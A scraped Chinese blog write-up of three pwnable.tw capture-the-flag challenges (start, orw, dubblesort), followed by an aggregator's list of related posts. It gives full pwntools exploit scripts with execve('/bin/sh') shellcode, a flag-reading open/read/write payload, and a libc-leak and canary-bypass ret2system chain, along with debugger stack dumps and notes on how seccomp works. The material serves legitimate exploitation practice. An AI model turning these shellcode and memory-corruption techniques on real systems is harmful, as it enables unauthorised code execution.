

pwnable.tw 部分题解
source link: https://kiprey.github.io/2020/03/pwnable.tw/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

pwnable.tw 部分详细题解
1. start
点击 这里 下载题目
- 所有保护都被禁用
- 有明显的栈溢出
sys_read
和sys_write
所操作的内存空间都是esp
指向的位置
- 程序没有开启
NX
保护,所以我们可以通过写入并执行shellcode
来获得shell
- 但在执行
shellcode
之前,我们需要先得到esp
的具体值,从而计算出shellcode
在栈上的具体地址- 分析汇编代码和栈结构,我们可以发现,
old esp
被存到了栈的底部。 - 所以只要我们将这个地址泄露出来,那么就可以得知栈顶地址。
- 而当程序第一次
ret
后,esp
就指向old esp
- 所以我们可以通过
ret
至sys_write
,将old esp
泄露,同时还可以进行二次栈溢出,写入并跳转至shellcode
。
- 分析汇编代码和栈结构,我们可以发现,
# 第一次执行sys_write之前的栈空间结构
pwndbg> stack 20
00:0000│ esp 0xffffd2c4 —> 0x2774654c ("Let'")
01:0004│ 0xffffd2c8 —> 0x74732073 ('s st')
02:0008│ 0xffffd2cc —> 0x20747261 ('art ')
03:000c│ 0xffffd2d0 —> 0x20656874 ('the ')
04:0010│ 0xffffd2d4 —> 0x3a465443 ('CTF:')
05:0014│ 0xffffd2d8 —> 0x804809d (_exit) —> pop esp
06:0018│ old esp 0xffffd2dc —> 0xffffd2e0 —> 0x1
07:001c│ 0xffffd2e0 —> 0x1
08:0020│ 0xffffd2e4 —> 0xffffd486 —> '/root/Desktop/tmp/Pwn/start'
09:0024│ 0xffffd2e8 —> 0x0
0a:0028│ 0xffffd2ec —> 0xffffd4a2 —> 'CLUTTER_IM_MODULE=fcitx'
......
- 构建并输入payload,通过缓冲区溢出漏洞,设置程序
ret
时跳转回sys_write
,从而泄露esp
- 通过泄露出的
esp
,计算出shellcode
的地址 - 再次构建并输入payload, 设置栈上
old eip
为shellcode
的地址,同时写入shellcode
- 程序
ret
时跳转到shellcode
,成功get shell
.
# -*- coding: utf-8 -*-
from pwn import *
io = remote("chall.pwnable.tw", 10000)
payload = 20 * "a" + p32(0x08048087)
io.sendafter("the CTF:", payload)
esp = io.recv()[:4]
payload = 20 *"a" + p32(u32(esp) + 20)
payload += "\x31\xc0\x50\x68\x2f\x2f\x73"\
"\x68\x68\x2f\x62\x69\x6e\x89"\
"\xe3\x89\xc1\x89\xc2\xb0\x0b"\
"\xcd\x80\x31\xc0\x40\xcd\x80"
io.send(payload)
io.interactive()
- 这是我见过最小的pwn题,但短小精悍,需要好好下一番功夫
Linux/x86 - execve(/bin/sh) - 28 bytes by Jean Pascal Pereira
2. ORW
Only open read write syscall are allowed to use.
点击 这里 下载题目
- 可直接执行
shellcode
- 只可使用
sys_open
sys_read
和sys_write
(题目规定)
- 直接发送构造好的
shellcode
,获得flag
# -*- coding: utf-8 -*-
from pwn import *
io = remote("chall.pwnable.tw", 10001)
context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='x86')
buf = 0x0804A060 + 0x60
shellcode = asm(shellcraft.open("/home/orw/flag"))
shellcode += asm(shellcraft.read(3, buf, 0x60))
shellcode += asm(shellcraft.write(1, buf, 0x60))
io.sendafter("Give my your shellcode:", shellcode)
io.interactive()
有趣的code
在刚看到题目时,有个问题一直在困扰着我 —— 题目要如何限制我不使用sys_exec
呢?
直到我看到了这个函数
int orw_seccomp()
{
__int16 v1; // [sp+4h] [bp-84h]@1
char *v2; // [sp+8h] [bp-80h]@1
char v3; // [sp+Ch] [bp-7Ch]@1
int v4; // [sp+6Ch] [bp-1Ch]@1
v4 = *MK_FP(__GS__, 20);
qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return *MK_FP(__GS__, 20) ^ v4;
}
我们可以发现,这个函数内的核心语句为里面的两个prctl
函数调用
而prctl
是干什么用的呢?
prctl
通过查阅Linux manual page
的相关信息,可以得出,这个函数是对进程做一些设置
prctl - operations on a process
prctl() is called with a first argument describing what to do (with
values defined in <linux/prctl.h>), and further arguments with a
significance depending on the first one.
函数原型为
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
通过查阅/usr/include/linux/prctl.h
,我们可以得知题目里的两个枚举分别为PR_SET_NO_NEW_PRIVS
和PR_SET_SECCOMP
// /usr/include/linux/prctl.h
/*
* If no_new_privs is set, then operations that grant new privileges (i.e.
* execve) will either fail or not grant them. This affects suid/sgid,
* file capabilities, and LSMs.
*
* Operations that merely manipulate or drop existing privileges (setresuid,
* capset, etc.) will still work. Drop those privileges if you want them gone.
*
* Changing LSM security domain is considered a new privilege. So, for example,
* asking selinux for a specific new context (e.g. with runcon) will result
* in execve returning -EPERM.
*
* See Documentation/userspace-api/no_new_privs.rst for more details.
*/
#define PR_SET_NO_NEW_PRIVS 38
/* Set process seccomp mode */
#define PR_SET_SECCOMP 22
而这两个枚举有什么用呢,让我们一起查阅一下Linux manual page
PR_SET_NO_NEW_PRIVS (since Linux 3.5)
Set the calling thread's no_new_privs attribute to the value
in arg2. With no_new_privs set to 1, execve(2) promises not
to grant privileges to do anything that could not have been
done without the execve(2) call. Once set, this the
no_new_privs attribute cannot be unset. The setting of this
attribute is inherited by children created by fork(2) and
clone(2), and preserved across execve(2).
PR_SET_SECCOMP (since Linux 2.6.23)
Set the secure computing (seccomp) mode for the calling
thread, to limit the available system calls.
The seccomp mode is selected via arg2.
With arg2 set to SECCOMP_MODE_STRICT, the only system calls
that the thread is permitted to make are read(2), write(2),
_exit(2) (but not exit_group(2)), and sigreturn(2). Other
system calls result in the delivery of a SIGKILL signal.
With arg2 set to SECCOMP_MODE_FILTER (since Linux 3.5), the
system calls allowed are defined by a pointer to a Berkeley
Packet Filter passed in arg3. This argument is a pointer to
struct sock_fprog; it can be designed to filter arbitrary sys‐
tem calls and system call arguments.
再看看与PR_SET_SECCOMP
相关的枚举定义(位于/usr/include/linux/seccomp.h
):
// /usr/include/linux/seccomp.h
/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, <mode>) */
#define SECCOMP_MODE_DISABLED 0 /* seccomp is not in use. */
#define SECCOMP_MODE_STRICT 1 /* uses hard-coded filter. */
#define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */
通过以上信息,我们可以得出:
-
当
PR_SET_NO_NEW_PRIVS
被设置之后,如果arg2
是1
,那么我们就无法通过系统中断来调用sys_exec
,同时这项设置还会继承给子进程
-
当
PR_SET_SECCOMP
被设置之后- 如果
arg2
是SECCOMP_MODE_STRICT
,则当程序执行除read
、write
、_exit
和sigreturn
以为的指令时,将会收到SIGKILL
信号 - 如果
arg2
是SECCOMP_MODE_FILTER
,则程序的系统调用规则将会设置为arg3
(sock_fprog结构体指针)
指向的规则。该指针所指内存上的规则是基于Berkeley Packet Filter
(BPF)
沙箱规则。
- 如果
-
当前程序所执行的是
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &v1);
如此,便限制住程序不能执行sys_exec
.
至于关于BPF
沙箱规则的分析,由于我水平有限,故暂时不做分析,等到以后水平提高了再战
3. dubblesort
Sort the memory!
点击 这里 下载题目
- 提示用户输入姓名
- 将姓名输出
- 提示用户输入即将输入数字的个数n
- 提示用户输入n个数字
- 对这些数进行
冒泡排序
- 输出排序后的所有数字
- 保护全开(简直不要太惊喜)
- 存在一个无法直接使用的栈溢出
分析前的操作
题目给了一个libc出来,所以我们可以…
-
先查看该libc的
相关信息
-
先查看给出的libc的
版本
。通过输出信息可以得知该libc为Ubuntu GLIBC 2.23-0ubuntu5
# root @ Kiprey in ~/Desktop/Pwn [20:56:20]
$ ./libc_32.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 5.4.0 20160609.
Available extensions:
crypt add-on version 2.1 by Michael Glad and others
GNU Libidn by Simon Josefsson
Native POSIX Threads Library by Ulrich Drepper et al
BIND-8.2.3-T5B
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>. -
再查看给出的libc的
位数
。 通过输出信息可得知为32位
(这一步可做可不做,因为方法太多了,无论是直接查看还是间接查看)# root @ Kiprey in ~/Desktop/Pwn [20:57:02]
$ file libc_32.so.6
libc_32.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d26149b8dc15c0c3ea8a5316583757f69b39e037, for GNU/Linux 2.6.32, stripped
-
-
再修改可执行文件
header
里的ld path
和libc path
为指定的文件(点击x86_ld-2.23.so.2下载ld
文件)
使该可执行文件强制使用给定的libc
# 设置可执行文件使用的ld链接器为指定的ld (ld版本必须和libc的版本一致!!!)
patchelf --set-interpreter /root/Desktop/Pwn/tmp/x86_ld-2.23.so.2 dubblesort
# 替换可执行文件使用的libc为指定的libc
patchelf --replace-needed libc.so.6 /root/Desktop/Pwn/libc_32.so.6 dubblesort -
最后查看是否修改成功
-
第一种方法
# root @ Kiprey in ~/Desktop/Pwn [23:55:46]
$ ldd dubblesort
linux-gate.so.1 (0xf7fba000)
/root/Desktop/Pwn/libc_32.so.6 (0xf7dfc000)
/root/Desktop/Pwn/tmp/x86_ld-2.23.so.2 => /lib/ld-linux.so.2 (0xf7fbb000) -
第二种方法
# root @ Kiprey in ~/Desktop/Pwn [23:57:28] C:130
$ readelf -d dubblesort
Dynamic section at offset 0xea8 contains 27 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [/root/Desktop/Pwn/libc_32.so.6]
0x0000000c (INIT) 0x5f8
0x0000000d (FINI) 0xbb4
0x00000019 (INIT_ARRAY) 0x1e9c
0x0000001b (INIT_ARRAYSZ) 4 (bytes)
0x0000001a (FINI_ARRAY) 0x1ea0
0x0000001c (FINI_ARRAYSZ) 4 (bytes)
0x6ffffef5 (GNU_HASH) 0x1ac
0x00000005 (STRTAB) 0x3000
0x00000006 (SYMTAB) 0x1e0
0x0000000a (STRSZ) 358 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x1fa0
0x00000002 (PLTRELSZ) 112 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x588
0x00000011 (REL) 0x538
0x00000012 (RELSZ) 80 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x00000018 (BIND_NOW)
0x6ffffffb (FLAGS_1) Flags: NOW
0x6ffffffe (VERNEED) 0x4d8
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x4a8
0x6ffffffa (RELCOUNT) 4
0x00000000 (NULL) 0x0
-
-
main
函数里读取name
用的是read
函数,在下一行还会输出name
。
所以我们可以输入一个无\0
结尾的字符串,从而在下一行scanf
时,将栈上数据泄露出来 -
先看看栈上有没有什么有用的数据
-
查看栈上信息
pwndbg> stack 50
00:0000│ esp 0xffffd1b0 ◂— 0x1
01:0004│ 0xffffd1b4 —▸ 0x56555c24 ◂— dec eax /* 'Hello %s,How many numbers do you what to sort :' */
02:0008│ 0xffffd1b8 —▸ 0xffffd1ec ◂— 0x74736574 ('test')
03:000c│ 0xffffd1bc —▸ 0xf7eaf76b ◂— add esp, 0x10
04:0010│ 0xffffd1c0 —▸ 0xffffd1ee ◂— 0xd40a7473
05:0014│ 0xffffd1c4 —▸ 0xffffd2ec —▸ 0xffffd4a8 ◂— 'CLUTTER_IM_MODULE=fcitx'
06:0018│ 0xffffd1c8 ◂— 0xe0
07:001c│ 0xffffd1cc —▸ 0xf7f3c48a ◂— mov edx, dword ptr [esp + 0x18]
08:0020│ 0xffffd1d0 —▸ 0xffffd1ef —▸ 0xffd40a74 ◂— 0xffd40a74
09:0024│ 0xffffd1d4 ◂— 0x0
0a:0028│ 0xffffd1d8 ◂— 0xc30000
0b:002c│ 0xffffd1dc ◂— 0x1
0c:0030│ 0xffffd1e0 ◂— 0x0
0d:0034│ 0xffffd1e4 —▸ 0xffffd48b ◂— '/root/Desktop/Pwn/dubblesort'
0e:0038│ 0xffffd1e8 —▸ 0xf7fd0000 ◂— 0x1afdb0
0f:003c│ ecx esi 0xffffd1ec ◂— 0x74736574 ('test')
10:0040│ 0xffffd1f0 —▸ 0xffffd40a ◂— 0x0
11:0044│ 0xffffd1f4 ◂— 0x2f /* '/' */
12:0048│ 0xffffd1f8 ◂— 0x9e
13:004c│ 0xffffd1fc ◂— 0x16
14:0050│ 0xffffd200 ◂— 0x8000
15:0054│ 0xffffd204 —▸ 0xf7fd0000 ◂— 0x1afdb0
16:0058│ 0xffffd208 —▸ 0xf7fce244 —▸ 0xf7e38020 ◂— call 0xf7f3d0d9
17:005c│ 0xffffd20c —▸ 0x56555601 ◂— add ebx, 0x199f
18:0060│ 0xffffd210 —▸ 0x565557a9 ◂— add ebx, 0x17f7
19:0064│ 0xffffd214 —▸ 0x56556fa0 ◂— 0x1ea8
1a:0068│ 0xffffd218 ◂— 0x1
1b:006c│ 0xffffd21c —▸ 0x56555b72 ◂— add edi, 1
1c:0070│ 0xffffd220 ◂— 0x1
1d:0074│ 0xffffd224 —▸ 0xffffd2e4 —▸ 0xffffd48b ◂— '/root/Desktop/Pwn/dubblesort'
1e:0078│ 0xffffd228 —▸ 0xffffd2ec —▸ 0xffffd4a8 ◂— 'CLUTTER_IM_MODULE=fcitx'
1f:007c│ 0xffffd22c ◂— 0x19d01800
20:0080│ 0xffffd230 —▸ 0xf7fd03dc —▸ 0xf7fd11e0 ◂— 0x0
21:0084│ 0xffffd234 —▸ 0xffffd47b ◂— 'i686'
22:0088│ 0xffffd238 —▸ 0x56555b2b ◂— add ebx, 0x1475
23:008c│ 0xffffd23c ◂— 0x0
24:0090│ 0xffffd240 —▸ 0xf7fd0000 ◂— 0x1afdb0
... ↓
26:0098│ ebp 0xffffd248 ◂— 0x0
27:009c│ 0xffffd24c —▸ 0xf7e38637 (__libc_start_main+247) ◂— add esp, 0x10
28:00a0│ 0xffffd250 ◂— 0x1
29:00a4│ 0xffffd254 —▸ 0xffffd2e4 —▸ 0xffffd48b ◂— '/root/Desktop/Pwn/dubblesort'
2a:00a8│ 0xffffd258 —▸ 0xffffd2ec —▸ 0xffffd4a8 ◂— 'CLUTTER_IM_MODULE=fcitx'
2b:00ac│ 0xffffd25c ◂— 0x0
... ↓
2e:00b8│ 0xffffd268 —▸ 0xf7fd0000 ◂— 0x1afdb0
2f:00bc│ 0xffffd26c —▸ 0xf7ffdc04 ◂— 0x0
30:00c0│ 0xffffd270 ◂— 0x1
31:00c4│ 0xffffd274 ◂— 0x0 -
再看看此时的内存分布情况
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x56555000 0x56556000 r-xp 1000 0 /root/Desktop/Pwn/dubblesort
0x56556000 0x56557000 r--p 1000 0 /root/Desktop/Pwn/dubblesort
0x56557000 0x5655a000 rw-p 3000 1000 /root/Desktop/Pwn/dubblesort
0xf7e1f000 0xf7e20000 rw-p 1000 0
0xf7e20000 0xf7fcd000 r-xp 1ad000 0 /root/Desktop/Pwn/libc_32.so.6
0xf7fcd000 0xf7fce000 ---p 1000 1ad000 /root/Desktop/Pwn/libc_32.so.6
0xf7fce000 0xf7fd0000 r--p 2000 1ad000 /root/Desktop/Pwn/libc_32.so.6
0xf7fd0000 0xf7fd1000 rw-p 1000 1af000 /root/Desktop/Pwn/libc_32.so.6
0xf7fd1000 0xf7fd5000 rw-p 4000 0
0xf7fd5000 0xf7fd8000 r--p 3000 0 [vvar]
0xf7fd8000 0xf7fd9000 r-xp 1000 0 [vdso]
0xf7fd9000 0xf7ffc000 r-xp 23000 0 /root/Desktop/Pwn/tmp/x86_ld-2.23.so.2
0xf7ffc000 0xf7ffd000 r--p 1000 22000 /root/Desktop/Pwn/tmp/x86_ld-2.23.so.2
0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /root/Desktop/Pwn/tmp/x86_ld-2.23.so.2
0xfff00000 0xffffe000 rw-p fe000 0 [stack] -
通过以上信息,我们可以得知,栈上有一个指向
libc
的指针(位于上面的0xffffd208
处)
-
-
所以,通过
scanf
将栈上指向libc
的指针的值泄露出来,再减去相应的偏移值,我们就可以得到libc base
,进而得到system addr
和/bin/sh addr
。 -
接下来我们就得将
system addr
和/bin/sh addr
送到old eip
和old eip - 4*2
处- 位置的变化我们可以利用程序中的
dubblesort
函数- 注意
dubblesort
是将数据从小到大依次排序,所以我们需要精心构造栈上的值,设置不同的大小,
从而使canary
在排序过后还是在原来的地方,而system addr
和/bin/sh addr
换到我们需要的位置
- 注意
- 但当程序让我们输入
n
个数时,原来在栈上的数据就会被覆盖,而Canary
自然也不例外。
所以我们需要在正常结束当前scanf
调用的情况下,不修改该scanf
存放新数字的栈位置上的值- 我们可以利用
scanf
的如下特性来完成我们的目的:当
scanf
只读取到“+”
或“-”
时,scanf
不做任何操作,所以存放新数字的栈位置上的值可以得以保留。
- 我们可以利用
- 位置的变化我们可以利用程序中的
- 构建特殊字符串,泄露
libc base
- 精心布置栈上数据,利用
dubblesort
将我们构建的system addr
和'/bin/sh' addr
换到old eip
和old eip - 2 * 4
这两个位置。 - 待程序执行冒泡排序后,
ret
即可get shell
。
# -*- coding: utf-8 -*-
from pwn import *
libc = ELF("./libc_32.so.6")
io = remote("chall.pwnable.tw", 10101)
# io = process("./dubblesort")
context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='x86')
# context.log_level = 'debug'
# 泄露栈上数据, 得到libc base
io.sendafter("What your name :", "a"*4*7)
libc_base = u32(io.recv(40)[34:38]) - 0x1ae244
shell_addr = libc_base + next(libc.search("/bin/sh"))
system_addr = libc_base + libc.symbols["system"]
# 注意: shell_addr > system_addr
# 布置栈上数据
io.sendlineafter("How many numbers do you what to sort :", "35")
for i in range(24):
io.sendlineafter("number : ", "0")
# 绕过canary,不修改它
io.sendlineafter("number : ", "+")
# 修改canary之后的9个值
io.sendlineafter("number : ", str(system_addr))
for i in range(8):
io.sendlineafter("number : ", str(system_addr - i))
# 写入参数
io.sendlineafter("number : ", str(shell_addr))
# 丢弃垃圾信息
sleep(1)
io.recv()
# get shell
io.interactive()
这题的关键在于认识到栈上数据的敏感性。
尽管当前函数并没有写入什么数据到栈上,但栈上却残留着上一个函数遗留下的信息。
好好利用一番也可得到意外的收获。(亏我当初看dubblesort
排序函数看了辣么久…)
Recommend
-
67
这道题目比较有意思, Web+Pwn ,用 PHP 写了一个模拟数据进出栈的过程。程序源码经过 enphp 加密,当中有很多字符乱码,而且许多变量名也经过混淆。这里可以直接用 var_exp...
-
31
Week 2 的问题是 map reduce 优化,说实话,这周的示例代码写的不怎么样,不知道为什么都是同一个人的代码,同一个参数的名字还换来换去,读起来会浪费一些时间。一些缩写也让人比较困惑,比如 fs,bs,别人要稍微思考一下才能看懂这是什...
-
46
第一周是给定了函数签名实现多路归并排序。 这里 。 为啥要考这个问题呢?个人认为多路归并在分布式数据库、分布式搜索引擎领域是挺常...
-
24
前言 题目主要考点:GOT覆写技术。关于GOT覆写的基础知识以及例题可以参考这些文章: 深入理解GOT表覆写技术
-
6
n1ctf2019部分pwn题解warmup程序free的时候会把chunk_addr放到bss里,free(ptr)完毕清空list但是不清空ptr,因此会有double free,但只是针对当前块。edit是从chk_lis取地址进ptr,因此没有UAF。先double free,部分写分配到前面的heap修改si...
-
19
Pwnable.tw orw writeup-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com Pwnable.tw orw writeup...
-
2
Pwnable.kr Toddler's Bottle writeup [email protected] It has been a long time since I finish(nearly) these problems... In linux, 0 is std_...
-
15
和徐老一起学Pwn 之 Pwnable.tw CVE-2018-1160 发表于...
-
3
这里将保存部分做过的 pwnable.tw 的题解。 一、silver_bullet 1. 环境配置 patchelf --replace-needed ./libc_32.so.6 /home/Kiprey/Desktop/Pwn/libc_32.so.6 ./silver_bulletpatchelf -...
-
4
Pwnable.tw start程序链接:https://pwnable.tw/static/chall/start 0x01 检查保护情况不得不说,
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK